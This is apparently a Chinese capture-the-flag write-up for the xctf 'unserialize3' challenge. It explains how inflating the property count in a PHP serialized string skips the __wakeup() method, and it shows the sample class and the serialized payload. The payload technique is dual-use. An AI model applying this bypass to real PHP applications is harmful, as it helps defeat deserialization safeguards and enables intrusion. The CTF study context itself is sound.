__wakeup():将在序列化之后立即被调用。
漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。
 

 
参考题目:xctf-unserialize3
跳过__wakeup()魔法函数
 
对于该题,先可以看到类xctf中有flag变量,并调用了__wakeup(),则考虑实例化xctf类并将其变量序列化。并猜测意图为将序列化结果输入在?code=后进行POST请求。
 
<?php
class xctf{
public $flag = '111';
pubilc function __wakeup(){
exit('bad requests');
}
}
 
$a = new xctf();
echo(serialize($a));
?>
 
// 序列化输出结果为:
// O:4:"xctf":1:{s:4:"flag";s:3:"111";}
 
正常结果输入时,会执行__wakeup(),从而输出'bad requests',并退出脚本,因此利用漏洞绕过__wakeup()。
 
将序列化字符串中代表变量个数的数字改为大于其真实值的数字,并进行POST请求,得到结果。
跳过__wakeup()魔法函数
得到结果。

相关文章:

  • 2021-11-23
  • 2022-02-11
  • 2022-12-23
  • 2021-09-15
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-02-27
  • 2021-11-14
相关资源
相似解决方案